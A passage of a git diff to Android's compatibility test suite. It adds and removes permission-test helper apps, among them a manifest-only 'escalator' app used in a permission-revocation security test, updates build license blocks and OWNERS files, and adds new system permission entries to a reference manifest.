diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
new file mode 100644
index 0000000..6320618
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.installpermissionescalatorapp">
+
+    <permission
+        android:name="android.permission.cts.revokepermissionwhenremoved.TestInstallPermission"
+        android:permissionGroup="android.permission-group.PHONE"
+        android:protectionLevel="dangerous" />
+
+    <application />
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
new file mode 100644
index 0000000..0effe2c
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsInstallPermissionUserApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "sts",
+    ],
+    certificate: ":cts-testkey2",
+}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/AndroidManifest.xml
new file mode 100644
index 0000000..acfafa9
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.installpermissionuserapp">
+
+    <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestInstallPermission" />
+
+    <application />
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp
deleted file mode 100644
index ee87737..0000000
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp
+++ /dev/null
@@ -1,26 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-android_test_helper_app {
-    name: "CtsInstalltimePermissionDefinerApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "current",
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    certificate: ":cts-testkey1",
-}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/AndroidManifest.xml
deleted file mode 100644
index 75ce567..0000000
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/AndroidManifest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission.cts.revokepermissionwhenremoved.installtimepermissiondefinerapp">
-
-    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestInstalltimePermission"
-        android:protectionLevel="normal"
-        android:label="TestInstalltimePermission"
-        android:description="@string/test_permission" />
-
-    <application>
-    </application>
-</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/res/values/strings.xml
deleted file mode 100644
index 0943be7..0000000
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/res/values/strings.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
-    <string name="test_permission">Test Installtime Permission</string>
-</resources>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
deleted file mode 100644
index f720d7d..0000000
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ /dev/null
@@ -1,26 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-android_test_helper_app {
-    name: "CtsInstalltimePermissionUserApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "current",
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    certificate: ":cts-testkey2",
-}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
index 0fc71427..fe50957 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsRuntimePermissionDefinerApp",
     defaults: ["cts_defaults"],
@@ -21,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
index f076640..eae7d63 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsRuntimePermissionUserApp",
     defaults: ["cts_defaults"],
@@ -21,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     certificate: ":cts-testkey2",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
index 756be5e..89284fc 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsVictimPermissionDefinerApp",
     defaults: ["cts_defaults"],
@@ -21,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission2/Android.bp b/tests/tests/permission2/Android.bp
index 37b9e94..7073057 100644
--- a/tests/tests/permission2/Android.bp
+++ b/tests/tests/permission2/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPermission2TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/AndroidTest.xml b/tests/tests/permission2/AndroidTest.xml
index 1bf1892..cc1bc7f 100644
--- a/tests/tests/permission2/AndroidTest.xml
+++ b/tests/tests/permission2/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
     <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
index ea9e86e..146bdce 100644
--- a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
@@ -14,9 +14,13 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsLegacyStorageIsolatedWithSharedUid",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
index c44004b..c4bc761 100644
--- a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
@@ -14,9 +14,13 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsLegacyStorageNotIsolatedWithSharedUid",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
index f3b9994..2373fc1 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
@@ -14,9 +14,13 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsLegacyStorageRestrictedSdk28WithSharedUid",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
index b0b486d..523f742 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
@@ -14,9 +14,13 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsLegacyStorageRestrictedWithSharedUid",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
index ef1e160..787cbae 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsLocationPermissionsUserSdk22",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
index 44e9af0..93c8b72 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsLocationPermissionsUserSdk29",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
index d1fc86a..b864a4e 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSMSCallLogPermissionsUserSdk22",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
index 3246d76..d3a2e30 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSMSCallLogPermissionsUserSdk29",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
index 34be9bf..ab90dba 100644
--- a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
@@ -14,9 +14,13 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSMSNotRestrictedWithSharedUid",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
index 305125a..8820ab7 100644
--- a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
@@ -14,9 +14,13 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSMSRestrictedWithSharedUid",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsStoragePermissionsPreservedUserOptOutSdk30/Android.bp b/tests/tests/permission2/CtsStoragePermissionsPreservedUserOptOutSdk30/Android.bp
index 59e67ab..6c76c74 100644
--- a/tests/tests/permission2/CtsStoragePermissionsPreservedUserOptOutSdk30/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsPreservedUserOptOutSdk30/Android.bp
@@ -14,9 +14,13 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStoragePermissionsPreservedUserOptOutSdk30",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
index 8183468..bb817f7 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
@@ -14,7 +14,11 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStoragePermissionsUserDefaultSdk22",
     defaults: ["cts_defaults"],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
index 738f20c..60cb316 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
@@ -14,7 +14,11 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStoragePermissionsUserDefaultSdk28",
     defaults: ["cts_defaults"],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
index 95f725b..d3d016a 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
@@ -14,9 +14,13 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStoragePermissionsUserDefaultSdk29",
     defaults: ["cts_defaults"],
 
     sdk_version: "29",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk30/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk30/Android.bp
index f7a8281..751342e 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk30/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk30/Android.bp
@@ -14,9 +14,13 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStoragePermissionsUserOptOutSdk30",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
index 843176f..21e6ace 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
@@ -14,7 +14,11 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStoragePermissionsUserOptInSdk22",
     defaults: ["cts_defaults"],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
index c0b5fd6..c7f30a8 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
@@ -14,7 +14,11 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStoragePermissionsUserOptInSdk28",
     defaults: ["cts_defaults"],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
index e1a43da..8ad13f7 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
@@ -14,9 +14,13 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStoragePermissionsUserOptOutSdk29",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission2/OWNERS b/tests/tests/permission2/OWNERS
index 3e44a8c..0f1153c 100644
--- a/tests/tests/permission2/OWNERS
+++ b/tests/tests/permission2/OWNERS
@@ -1,6 +1,7 @@
 # Bug component: 137825
-moltmann@google.com
-svetoslavganov@google.com
+
+include platform/frameworks/base:/core/java/android/permission/OWNERS
+
 per-file NoLocationPermissionTest.java = hallliu@google.com
 per-file RestrictedStoragePermissionSharedUidTest.java = nandana@google.com
 per-file RestrictedStoragePermissionTest.java = nandana@google.com
diff --git a/tests/tests/permission2/res/raw/OWNERS b/tests/tests/permission2/res/raw/OWNERS
index f46dbfe..a67ff98 100644
--- a/tests/tests/permission2/res/raw/OWNERS
+++ b/tests/tests/permission2/res/raw/OWNERS
@@ -1,4 +1,3 @@
-moltmann@google.com
 svetoslavganov@google.com
 cbrubaker@google.com
 hackbod@google.com
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index e3bcea42..a887a26 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -1014,6 +1014,14 @@
         android:description="@string/permdesc_accessImsCallService"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi @hide Allows an application to perform IMS Single Registration related actions.
+         Only granted if the application is a system app AND is in the Default SMS Role.
+         The permission is revoked when the app is taken out of the Default SMS Role.
+        <p>Protection level: signature|privileged
+    -->
+    <permission android:name="android.permission.PERFORM_IMS_SINGLE_REGISTRATION"
+        android:protectionLevel="signature|privileged" />
+
     <!-- Allows an application to read the user's call log.
          <p class="note"><strong>Note:</strong> If your app uses the
          {@link #READ_CONTACTS} permission and <em>both</em> your <a
@@ -1256,6 +1264,8 @@
 
     <!-- @hide Allows an application to Access UCE-Presence.
          <p>Protection level: signature|privileged
+         @deprecated Framework should no longer use this permission to access the vendor UCE service
+         using AIDL, it is instead implemented by RcsCapabilityExchangeImplBase
     -->
     <permission android:name="android.permission.ACCESS_UCE_PRESENCE_SERVICE"
         android:permissionGroup="android.permission-group.PHONE"
@@ -1263,6 +1273,8 @@
 
     <!-- @hide Allows an application to Access UCE-OPTIONS.
          <p>Protection level: signature|privileged
+         @deprecated Framework should no longer use this permission to access the vendor UCE service
+         using AIDL, it is instead implemented by RcsCapabilityExchangeImplBase
     -->
     <permission android:name="android.permission.ACCESS_UCE_OPTIONS_SERVICE"
         android:permissionGroup="android.permission-group.PHONE"
@@ -1650,6 +1662,12 @@
     <permission android:name="android.permission.REQUEST_NETWORK_SCORES"
         android:protectionLevel="signature|setup" />
 
+    <!-- Allows applications to restart the Wi-Fi subsystem.
+         @SystemApi
+         <p>Not for use by third-party applications. @hide -->
+    <permission android:name="android.permission.RESTART_WIFI_SUBSYSTEM"
+                android:protectionLevel="signature|privileged" />
+
     <!-- @SystemApi @hide Allows applications to toggle airplane mode.
          <p>Not for use by third-party or privileged applications.
     -->
@@ -1755,6 +1773,27 @@
     <permission android:name="android.permission.WIFI_UPDATE_USABILITY_STATS_SCORE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi @hide Allows system APK to update Wifi/Cellular coex channels to avoid.
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.WIFI_UPDATE_COEX_UNSAFE_CHANNELS"
+        android:protectionLevel="signature" />
+
+    <!-- @SystemApi @hide Allows applications to access Wifi/Cellular coex channels being avoided.
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.WIFI_ACCESS_COEX_UNSAFE_CHANNELS"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi @hide Allows system APK to manage country code.
+             <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.MANAGE_WIFI_COUNTRY_CODE"
+        android:protectionLevel="signature" />
+
+    <!-- @SystemApi @hide Allows an application to manage an automotive device's application network
+         preference as it relates to OEM_PAID and OEM_PRIVATE capable networks.
+         <p>Not for use by third-party or privileged applications. -->
+    <permission android:name="android.permission.CONTROL_OEM_PAID_NETWORK_PREFERENCE"
+        android:protectionLevel="signature" />
+
     <!-- ======================================= -->
     <!-- Permissions for short range, peripheral networks -->
     <!-- ======================================= -->
@@ -1878,6 +1917,12 @@
     <permission android:name="android.permission.ENABLE_TEST_HARNESS_MODE"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows access to ultra wideband device.
+     <p>Not for use by third-party applications.
+     @hide -->
+    <permission android:name="android.permission.UWB_PRIVILEGED"
+                android:protectionLevel="signature|privileged" />
+
     <!-- ================================== -->
     <!-- Permissions for accessing accounts -->
     <!-- ================================== -->
@@ -2172,6 +2217,11 @@
     <permission android:name="android.permission.BIND_INCALL_SERVICE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows to query ongoing call details and manage ongoing calls
+        <p>Protection level: signature|appop -->
+    <permission android:name="android.permission.MANAGE_ONGOING_CALLS"
+        android:protectionLevel="signature|appop" />
+
     <!-- Allows the app to request network scans from telephony.
          <p>Not for use by third-party applications.
          @SystemApi @hide-->
@@ -2202,6 +2252,15 @@
     <permission android:name="android.permission.BIND_PHONE_ACCOUNT_SUGGESTION_SERVICE"
         android:protectionLevel="signature" />
 
+    <!-- Must be required by a {@link android.telecom.CallDiagnosticService},
+     to ensure that only the system can bind to it.
+     <p>Protection level: signature
+     @SystemApi
+     @hide
+    -->
+    <permission android:name="android.permission.BIND_CALL_DIAGNOSTIC_SERVICE"
+        android:protectionLevel="signature" />
+
     <!-- Must be required by a {@link android.telecom.CallRedirectionService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature|privileged
@@ -2297,6 +2356,22 @@
     <permission android:name="android.permission.READ_CARRIER_APP_INFO"
         android:protectionLevel="signature" />
 
+    <!-- Must be required by an GbaService to ensure that only the
+         system can bind to it.
+         <p>Protection level: signature
+         @SystemApi
+         @hide
+    -->
+    <permission android:name="android.permission.BIND_GBA_SERVICE"
+        android:protectionLevel="signature" />
+
+    <!-- Required for an Application to access APIs related to RCS User Capability Exchange.
+         <p>Protection level: signature|privileged
+         @SystemApi
+         @hide -->
+    <permission android:name="android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE"
